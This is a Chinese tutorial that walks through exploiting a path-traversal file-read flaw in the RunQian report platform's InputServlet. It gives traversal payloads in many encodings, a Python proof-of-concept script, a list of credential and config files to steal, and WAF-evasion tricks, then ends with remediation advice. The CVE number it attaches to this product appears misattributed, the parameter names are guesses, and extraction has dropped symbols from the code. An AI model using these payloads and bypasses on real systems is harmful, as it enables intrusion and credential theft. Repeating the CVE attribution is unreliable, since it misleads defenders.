1. 项目概述与背景最近在梳理一些历史遗留系统的安全风险时润乾报表平台的一个老漏洞又进入了我的视野。这个漏洞编号为CVE-2024-50623核心问题出在InputServlet这个接口上攻击者可以利用它来读取服务器上的任意文件。虽然这个漏洞的公开时间不算特别新但在一些尚未升级或疏于管理的企业内网环境中它依然是一个实实在在的威胁。今天我就以一个安全研究者的视角带大家完整地复现一遍这个漏洞并深入拆解其背后的成因、利用手法以及在实际渗透测试中可能遇到的“坑”。无论你是想了解漏洞原理的安全爱好者还是负责企业安全运维的工程师这篇文章都能给你提供一份清晰的“作战地图”。润乾报表作为一款在企业中广泛应用的报表工具其核心功能是处理复杂的业务数据并生成可视化报表。InputServlet本意是用于接收和处理用户上传的报表模板或数据文件。然而由于对用户传入的文件路径参数过滤不严导致攻击者可以构造特殊的路径参数如../../../../etc/passwd绕过预期的目录限制直接读取服务器文件系统的敏感文件。这听起来像是目录遍历漏洞的经典案例但在润乾报表的具体实现语境下又有一些独特的细节和利用条件需要我们特别注意。2. 漏洞原理深度解析2.1 InputServlet 功能与设计缺陷要理解漏洞首先得知道InputServlet是干什么的。在润乾报表平台中用户可以通过Web界面上传Excel、TXT等格式的文件作为报表的数据源或模板。InputServlet就是负责接收这些上传请求的入口。通常它的URL路径类似于/report/InputServlet。在设计上开发者期望这个Servlet接收一个file参数该参数的值应该是用户上传文件在服务器临时目录或指定上传目录中的相对路径。然后Servlet会根据这个路径去读取文件内容进行后续解析。问题就出在路径的拼接与校验环节。一个安全的实现应该对传入的file参数进行严格的规范化Canonicalization。校验最终拼接出的完整路径是否位于预期的安全目录如/upload/之下。禁止路径中包含..上级目录等特殊字符。而存在漏洞的版本很可能只是简单地将用户输入的file参数直接拼接到一个基础目录路径后面例如String fullPath baseUploadDir request.getParameter(“file”);。如果baseUploadDir是/opt/raqsoft/upload/用户传入file../../../etc/passwd那么拼接后的路径就变成了/opt/raqsoft/upload/../../../etc/passwd经过系统路径解析最终指向的就是/etc/passwd。2.2 漏洞触发链与利用条件这个漏洞的触发链非常直接请求入口攻击者向/report/InputServlet具体路径可能因版本和部署方式略有不同发起HTTP请求。参数注入在请求中携带恶意的file参数也可能是其他参数名如fileName、path这需要探测参数值为包含目录遍历序列../的目标文件路径。路径拼接服务端代码未经验证将恶意参数拼接到基础路径上。文件读取Servlet使用Java的FileInputStream等类尝试读取拼接后的路径。数据返回如果文件存在且可读其内容可能会通过HTTP响应返回给攻击者可能以明文、报错信息、或者经过某种编码如Base64的形式呈现。关键的利用条件漏洞版本特定版本的润乾报表平台对应CVE-2024-50623。需要确定目标系统是否在受影响范围内。路径可达攻击者需要知道或猜解出目标敏感文件的绝对路径。在Linux系统中/etc/passwd、/etc/shadow、/proc/self/environ获取环境变量可能包含密码、应用自身的配置文件如web.xml、config.properties都是常见目标。在Windows系统中可能是C:\Windows\win.ini、C:\boot.ini或应用的配置文件。权限足够运行润乾报表服务的操作系统账户如Tomcat的tomcat用户必须有权限读取目标文件。/etc/passwd通常全局可读但/etc/shadow需要root权限。无WAF/防护部署的Web应用防火墙WAF或入侵检测系统IDS没有规则拦截此类目录遍历攻击的请求特征。2.3 与类似漏洞的对比这个漏洞的本质是“任意文件读取”Arbitrary File Read, AFR属于目录遍历Directory Traversal或路径遍历Path Traversal的一种。它让我想起了早年许多CMS和Web框架的类似问题例如对download.php?file或showImage.jsp?path等接口的参数未加过滤。与“文件上传漏洞”导致“任意文件写入”进而可能获取“远程代码执行”RCE相比任意文件读取的直接危害看似较小但其“横向移动”和“信息收集”的价值极高。通过读取配置文件攻击者可以获取数据库连接字符串、加密密钥、其他系统凭据从而进一步渗透内网。读取应用日志文件可能发现其他用户的敏感操作记录。在某些情况下甚至可以通过读取特定文件如/proc/self/fd/下的文件描述符来间接实现更复杂的攻击。3. 复现环境搭建与工具准备3.1 漏洞环境搭建为了安全、合法地复现漏洞我们必须在隔离的环境中进行。我推荐使用虚拟机。虚拟机准备使用VMware Workstation或VirtualBox创建一个全新的Linux虚拟机如Ubuntu 20.04 LTS或CentOS 7。配置好网络NAT或仅主机模式确保能与宿主机通信。安装Java环境润乾报表通常运行在Java Web容器中。安装JDK 8一个广泛兼容的版本和Tomcat 8/9。# 以Ubuntu为例 sudo apt update sudo apt install openjdk-8-jdk wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.54/bin/apache-tomcat-9.0.54.tar.gz tar -xzf apache-tomcat-9.0.54.tar.gz sudo mv apache-tomcat-9.0.54 /opt/tomcat部署漏洞版本应用这是最关键的一步。你需要找到包含漏洞的特定版本的润乾报表WAR包。请注意请务必通过合法授权渠道获取测试软件或使用官方提供的历史版本进行安全研究严禁在未授权的情况下测试任何生产系统。假设我们得到了一个名为report.war的包。sudo cp report.war /opt/tomcat/webapps/启动Tomcat它会自动解压WAR包。cd /opt/tomcat/bin sudo ./startup.sh验证部署在宿主机浏览器访问http://虚拟机IP:8080/report应该能看到润乾报表的登录或管理界面。注意搭建漏洞环境本身存在风险。建议虚拟机在完成测试后立即销毁或恢复快照避免残留漏洞软件带来安全隐患。整个实验过程应在与生产网络完全隔离的环境中进行。3.2 测试工具准备我们不需要复杂的工具一个能发送HTTP请求的工具即可。浏览器 开发者工具最简单的测试工具。用于初步访问和观察请求。Burp Suite专业Web安全测试工具。它的Proxy、Repeater、Intruder功能在漏洞探测和利用中极其有用。我们将主要使用它来拦截、修改和重放请求。cURL命令行工具适合快速测试和脚本化利用。Python3 Requests库如果你喜欢用脚本进行自动化探测或利用这是一个灵活的选择。配置Burp Suite启动Burp在Proxy - Options中确保代理监听正确如127.0.0.1:8080。在浏览器中配置代理指向Burp127.0.0.1:8080并安装Burp的CA证书访问http://burp下载安装以便拦截HTTPS流量。准备好/etc/passwd等测试文件路径的字典用于Intruder模块的模糊测试。4. 漏洞探测与手工复现4.1 信息收集与入口发现首先我们需要确认目标应用是否存在InputServlet以及其准确的访问路径。目录扫描使用工具如dirsearch、gobuster或Burp的Intruder对/report/上下文路径进行扫描寻找可能的Servlet路径。python3 dirsearch.py -u http://192.168.1.100:8080/report -e jsp,do,action常见的疑似入口有/report/InputServlet、/report/input、/report/FileServlet、/report/upload等。分析页面功能手动浏览润乾报表的各个功能模块特别是与“导入数据”、“上传模板”、“文件管理”相关的页面。利用浏览器开发者工具F12 - Network观察点击这些功能时发出的HTTP请求重点关注请求的URL和参数。你可能会发现类似POST /report/InputServlet?opupload的请求。4.2 构造并发送恶意请求假设我们通过信息收集确定了入口点为POST /report/InputServlet并且有一个参数叫filePath。基础遍历测试使用Burp Repeater模块。拦截一个正常的文件上传或文件打开请求。将其发送到Repeater。修改filePath参数值为../../../etc/passwd。注意由于是POST请求参数可能在URL中也可能在Body中如application/x-www-form-urlencoded格式。发送请求观察响应。请求示例POST /report/InputServlet HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: application/x-www-form-urlencoded ... opreadfilePath../../../etc/passwd编码绕过尝试如果直接使用../被拦截或过滤可以尝试多种编码方式服务端解码后可能还原为../。URL编码..%2f..%2f..%2fetc%2fpasswd(%2f是/)双重URL编码..%252f..%252f..%252fetc%252fpasswdUnicode编码..%c0%af..%c0%af..%c0%afetc%c0%afpasswd(在某些Java版本中可能被错误解析)使用....//或..;/等特殊变体。绝对路径测试有时漏洞代码的校验逻辑是“是否以某个目录开头”如果拼接前没有正确处理直接传入绝对路径也可能成功。尝试filePath/etc/passwd。4.3 响应分析与确认发送恶意请求后如何判断漏洞是否存在并成功读取了文件成功响应特征响应码为200并且响应体Response Body中直接包含了目标文件的内容如/etc/passwd中的用户列表。响应体可能被包裹在JSON或XML结构中例如{“data”: “root:x:0:0:root:/root:/bin/bash\n...”}。响应头中Content-Type可能发生变化如变为text/plain或者与正常请求不同。响应时间可能略长如果读取了大文件。错误信息中的泄露即使漏洞存在应用也可能因为文件不存在、权限不足或后续处理出错而返回错误如500状态码。仔细查看错误信息Java应用的错误堆栈Stack Trace有时会包含我们尝试读取的完整路径这本身就是信息泄露可以确认漏洞点。例如错误信息中可能出现java.io.FileNotFoundException: /opt/raqsoft/upload/../../../etc/passwd (No such file or directory)这清晰地证明了路径拼接的发生。盲测技术如果应用无论成功失败都返回相同的HTTP状态码如200和一个固定大小的页面例如错误信息被封装在固定模板里就需要使用“盲”技术Blind。可以通过比较读取一个确定存在的文件如/dev/zero它会产生大量空字符可能导致响应时间变长或响应体大小异常和一个确定不存在的文件如/tmp/this_file_should_not_exist_12345的响应时间Time-based或响应长度Length-based的差异来判断。Burp Intruder的Grep - Match或Grep - Extract功能可以辅助分析。5. 自动化利用脚本编写手工复现对于理解漏洞至关重要但在批量检测或需要复杂利用时自动化脚本更高效。下面我用Python的requests库写一个简单的POC概念验证脚本。#!/usr/bin/env python3 润乾报表 InputServlet 任意文件读取漏洞 (CVE-2024-50623) POC 仅用于授权安全测试严禁非法使用 import requests import sys import urllib.parse def test_file_read(target_url, file_path): 测试指定路径的文件读取 # 假设漏洞参数为 ‘file‘ 请求方法为 POST data { ‘file‘: file_path } # 或者参数可能在URL中使用GET # params {‘file‘: file_path} headers { ‘User-Agent‘: ‘Mozilla/5.0 (Security Test)‘, ‘Content-Type‘: ‘application/x-www-form-urlencoded‘, } try: # 尝试POST请求 resp requests.post(target_url, datadata, headersheaders, timeout10, verifyFalse) # 尝试GET请求 (注释掉上一行启用下一行) # resp requests.get(target_url, paramsparams, headersheaders, timeout10, verifyFalse) print(f”[*] 目标: {target_url}“) print(f”[*] 尝试读取: {file_path}“) print(f”[] 状态码: {resp.status_code}“) print(f”[] 响应长度: {len(resp.content)}“) print(”\n[] 响应头:“) for k, v in resp.headers.items(): print(f” {k}: {v}“) # 简单判断如果状态码是200且响应内容中包含类Unix密码文件特征或明显非HTML内容 if resp.status_code 200: content resp.text # 一些简单的启发式判断可根据实际情况调整 if ‘root:x:0:0‘ in content or ‘bin/bash‘ in content: print(”\n[!] 高危可能成功读取到 /etc/passwd 文件内容 (前500字符):“) print(content[:500]) return True elif len(content) 10000 and ‘html‘ not in content.lower() and ‘script‘ not in content.lower(): # 响应不是典型的HTML页面可能包含了文件内容 print(”\n[!] 可疑响应可能包含文件内容 (前500字符):“) print(content[:500]) return True else: print(”\n[-] 响应内容看起来像是正常页面或未包含明显文件内容。“) # 可以在这里添加更复杂的内容分析比如检查是否有配置文件常见的键值对 else: print(f”\n[-] 请求未返回200 OK。“) # 打印响应体前一部分以供人工检查 print(”\n[*] 响应体预览 (前200字符):“) print(resp.text[:200]) except requests.exceptions.RequestException as e: print(f”[-] 请求失败: {e}“) return False except Exception as e: print(f”[-] 发生未知错误: {e}“) return False return False if __name__ ‘__main__‘: if len(sys.argv) ! 3: print(f”用法: {sys.argv[0]} 目标URL 要读取的文件路径“) print(f”示例: {sys.argv[0]} http://192.168.1.100:8080/report/InputServlet ../../../etc/passwd“) sys.exit(1) target sys.argv[1].rstrip(‘/‘) file_to_read sys.argv[2] # 可以在这里添加路径编码逻辑 # file_to_read_encoded urllib.parse.quote(file_to_read, safe‘‘) # 全编码 # 或者使用 ..%2f 形式 # file_to_read file_to_read.replace(‘../‘, ‘..%2f‘) test_file_read(target, file_to_read)脚本使用说明与技巧参数化脚本将目标和文件路径作为命令行参数方便集成到其他工作流中。启发式判断脚本包含简单的规则来猜测是否成功读取了/etc/passwd。在实际使用中你需要根据目标的实际响应来调整这些规则。例如如果目标是Windows系统可以检查boot.ini或[boot loader]等字符串。编码处理注释中展示了如何对路径进行URL编码。你可以根据目标环境的过滤情况取消注释相关代码行或添加更多编码方式如双重编码的循环测试。错误处理基本的超时和网络异常处理使脚本更健壮。扩展方向你可以将此脚本扩展为支持从字典中读取多个路径进行批量测试。自动识别和尝试不同的参数名如file,fileName,path,filePath。自动尝试GET和POST两种方法。处理Cookie或Session如果目标需要登录。重要提示此脚本仅为教学示例非常基础。真实的漏洞利用环境可能更复杂需要Session、Token、特定的Content-Type等。在授权测试中应首先手动分析请求流程再编写或调整自动化脚本。6. 漏洞利用的深入与防御绕过6.1 利用漏洞进行信息收集一旦确认任意文件读取漏洞存在攻击就进入了信息收集阶段目标是获取进一步渗透所需的“弹药”。系统信息/etc/passwd,/etc/shadow如果Tomcat以root运行概率极低但需检查获取用户列表尝试破解哈希。/proc/version,/etc/issue,/etc/*-release获取操作系统版本信息。/proc/self/environ这是一个关键目标。它包含了当前Java进程即Tomcat的所有环境变量。环境变量中很可能包含数据库连接密码、API密钥、加密密钥等敏感信息。读取这个文件有时需要一些技巧因为/proc/self是一个符号链接但目录遍历攻击通常可以处理。应用配置寻找润乾报表自身的配置文件如WEB-INF/classes/raqsoftConfig.xml,WEB-INF/raqsoft.properties等。这些文件路径需要根据解压后的WAR包结构来猜测。例如尝试读取/report/../../../WEB-INF/classes/config.properties。Tomcat配置文件/opt/tomcat/conf/server.xml,context.xml,tomcat-users.xml。可能包含数据库连接池配置JNDI资源和Manager应用密码。Web应用描述符/report/../../../WEB-INF/web.xml。了解应用结构、过滤器、Servlet映射可能发现其他潜在的攻击面。源码泄露尝试读取JSP文件.jsp或Java类文件.class的源码。虽然.class是字节码但通过反编译可以了解业务逻辑寻找更深的漏洞如SQL注入、反序列化点。路径如/report/../../../WEB-INF/classes/com/raqsoft/servlet/InputServlet.class。日志文件读取应用日志如log4j输出的日志、Tomcat日志catalina.out,localhost.log。日志中可能记录其他用户的请求参数、SQL语句、甚至调试信息中的敏感数据。6.2 常见的WAF/防护绕过技巧在实际网络中目标系统前方可能有WAF。它们会检测常见的攻击字符串如../。以下是一些绕过思路路径深度溢出使用超长的../序列例如../../../../../../../../../../../../etc/passwd。有些简单的过滤可能只检查一次../或者对超长字符串处理不当。非常规编码与变形URL编码%2e%2e%2f(../),%252e%252e%252f(双重编码)。Unicode编码%u002e%u002e%u002f。注意Java对Unicode解码的实现。UTF-8编码..%c0%af或..%ef%bc%8f。在某些特定的解析器或解码顺序下可能被错误识别。大小写变换..\(Windows路径分隔符如果服务端运行在Windows上且逻辑不严谨)、..//、..\/。空字节截断在路径末尾添加空字节%00。这是老式PHP漏洞的经典手法在Java中通常无效但在某些特定的文件读取API或与其他语言交互的接口中仍可尝试。利用解析差异如果应用先解码再验证而WAF先验证再解码就可能存在绕过机会。例如WAF规则匹配../但你的请求中是..%2f应用后端解码后变成../但WAF没匹配到。参数污染提交多个同名参数如filevalid.txtfile../../../etc/passwd。不同的后端框架处理多个同名参数的方式不同可能会取第一个或最后一个这可能绕过某些检查逻辑。实操心得绕过WAF没有银弹。最好的方法是收集目标WAF的指纹通过响应头、错误页面等然后在一个隔离的测试环境中针对该WAF型号进行Fuzz测试。使用Burp Intruder加载各种编码和变形的Payload字典观察哪些被拦截哪些通过了。7. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。如果你负责的系统正在使用润乾报表或者你发现了此类漏洞以下修复和加固步骤至关重要。7.1 官方补丁升级这是最根本、最推荐的解决方案。确认版本联系润乾报表官方或查看系统管理后台确认当前使用的具体版本号。获取补丁访问润乾报表官方网站的安全公告或技术支持页面查找针对CVE-2024-50623的官方安全补丁或升级包。测试后升级切勿直接在生产环境升级应在与生产环境相似的测试环境中先应用补丁并进行全面的功能测试和安全验证确保修复有效且不影响业务。更新日志详细记录升级过程、版本变化和测试结果。7.2 临时缓解措施如果无法立即升级可以考虑以下临时方案来缓解风险应用层过滤最直接在InputServlet的代码中在拼接文件路径前对用户输入的参数进行强校验。白名单校验如果业务上只允许读取特定目录下的特定类型文件如.xls,.txt则建立白名单机制。检查参数值是否仅包含允许的文件名不含路径然后由程序在服务端拼接上安全的基目录。规范化与路径校验使用Java的File.getCanonicalPath()方法获取规范化的绝对路径然后检查这个规范路径是否以预期的安全基目录baseDir开头。// 伪代码示例 String userInput request.getParameter(“filePath”); File baseDir new File(“/opt/raqsoft/safe_upload/”); File file new File(baseDir, userInput); // 注意这里直接拼接仍有风险 // 关键的安全检查 String canonicalPath file.getCanonicalPath(); String canonicalBase baseDir.getCanonicalPath() File.separator; if (!canonicalPath.startsWith(canonicalBase)) { // 路径试图跳出安全目录拒绝请求 throw new SecurityException(“Illegal file path access attempt.”); } // 安全检查通过继续文件操作Web服务器/容器层防护配置Tomcat的conf/context.xml在Context标签中设置allowLinking”false”默认值并确保crossContext”false”这可以在一定程度上限制符号链接和跨上下文访问。使用安全过滤器Filter编写一个全局的Servlet Filter对进入InputServlet的请求进行预检过滤掉包含../、..\、%2e%2e等危险序列的请求参数。注意要考虑到各种编码变形。网络层防护部署或更新WAF规则在WAF上添加或更新规则精确识别和阻断针对InputServlet的目录遍历攻击。规则应能检测各种编码和变形的Payload。最小化网络暴露如果润乾报表仅需内网访问务必通过防火墙策略限制其访问来源IP禁止从互联网直接访问。7.3 安全开发规范与长期加固输入验证原则对所有用户输入实施“白名单”验证即只允许已知好的字符或模式拒绝其他所有。对于文件路径最佳实践是不允许用户控制路径而是由系统根据文件名哈希或时间戳生成存储路径用户只通过文件ID来访问。最小权限原则运行Tomcat和润乾报表的操作系统用户应使用一个专用的、低权限的账户如tomcat。确保该账户对应用目录有必要的读写权限但对系统关键文件如/etc/shadow和其他应用目录没有任何读取权限。定期安全扫描与更新将润乾报表等第三方组件纳入软件成分分析SCA和漏洞扫描范围。定期关注国家漏洞库CNVD、CNNVD及厂商的安全公告及时评估和修复漏洞。安全编码培训对开发团队进行安全编码培训特别强调路径遍历、SQL注入、XSS等常见Web漏洞的成因与防范方法从源头减少漏洞引入。8. 复现过程中的常见问题与排查在复现漏洞时你可能会遇到各种问题。这里记录了一些我踩过的“坑”和解决方法。问题1发送Payload后返回404 Not Found或500 Internal Server Error但没有文件内容。可能原因AServlet路径或参数名不对。排查仔细分析正常功能请求的完整URL和所有参数。使用Burp的Target - Site map功能查看爬取到的或手动访问产生的所有请求寻找与文件操作相关的端点。尝试不同的参数名file,filename,path,filepath,url,doc等。可能原因B路径深度不够或不对。排查尝试增加或减少../的数量。你需要知道Web应用的物理部署路径。例如如果WAR包解压在/opt/tomcat/webapps/report/你想读取/etc/passwd可能需要../../../../etc/passwd从report目录向上回退4层到根目录。一个笨办法但有效的方法是暴力测试不同深度../etc/passwd,../../etc/passwd,../../../etc/passwd…可能原因C目标文件不存在或服务账户无权限。排查尝试读取一个肯定存在且可读的文件比如Web应用自身的WEB-INF/web.xml路径需要猜测或者/dev/nullLinux。如果读取/dev/null成功可能返回空响应或特定长度说明漏洞存在但之前的目标文件路径不对。如果读取/etc/passwd失败尝试读取/etc/hosts或/proc/self/environ注意权限。问题2请求被WAF拦截返回403 Forbidden或带有WAF标识的阻断页面。排查与绕过确认WAF查看响应头如Server,X-Protected-By,X-Frame-Options等和响应体确认WAF类型如Cloudflare, ModSecurity, 某国产WAF。修改请求头尝试添加或修改X-Forwarded-For,User-Agent为常见浏览器值或添加一些看似合法的头如Referer指向应用自身页面。更改请求方法如果原请求是POST尝试改用GET传递参数或者反之。参数位置变换将参数从Body移到URL Query中或者拆分到多个参数。使用编码与变形如前文所述系统性地尝试各种编码和Payload变形。使用Burp Intruder配合强大的Payload字典如SecLists中的Fuzzing目录进行模糊测试。问题3成功读取到了文件但内容是乱码或被截断。可能原因A文件编码问题。解决服务器返回的文件可能是二进制如.class文件或使用特定字符集如GBK。在Burp Repeater的响应面板尝试切换“Hex”视图查看原始字节或使用不同的解码方式如从Raw切换到HTML或Text并尝试不同的字符集。可能原因B响应被应用层处理。解决应用可能在读取文件后对其进行了处理如XML解析、JSON封装、Base64编码。查看响应内容是否被包裹在XML标签或JSON对象中。例如响应可能是{“code”:0, “data”:”Base64EncodedStringHere”}你需要对data字段进行Base64解码。观察响应结构寻找规律。问题4漏洞点需要登录态Session/Cookie才能访问。解决首先你需要获得一个有效的用户会话。这可能通过其他漏洞如弱口令、社会工程学或者在授权测试中由客户提供测试账户。在Burp中使用提供的账户正常登录一次Burp会记录下Cookie或Session ID。在Repeater中构造漏洞利用请求时确保携带了正确的Cookie请求头。你可以在Burp的Proxy - HTTP history中找到登录成功后的任意请求将其Cookie值复制到你的漏洞利用请求中。问题5如何判断漏洞是否真正可利用而不仅仅是错误信息泄露关键区别错误信息泄露如FileNotFoundException中包含了路径证明了“用户输入被拼接到了文件路径中”这是一个高危的安全缺陷但严格来说不一定能保证“任意文件内容被成功读取并返回”。后者需要看到文件的实际内容出现在响应体中。验证方法尝试读取一个你能预测其部分内容的文件。例如在Linux上/proc/self/stat文件的第一项是进程ID它是一个数字。如果你读取到的内容以数字开头就极有可能是该文件的内容。或者读取一个你事先在服务器上创建的小文件在授权测试中验证内容是否完全一致。这能100%确认任意文件读取漏洞的存在。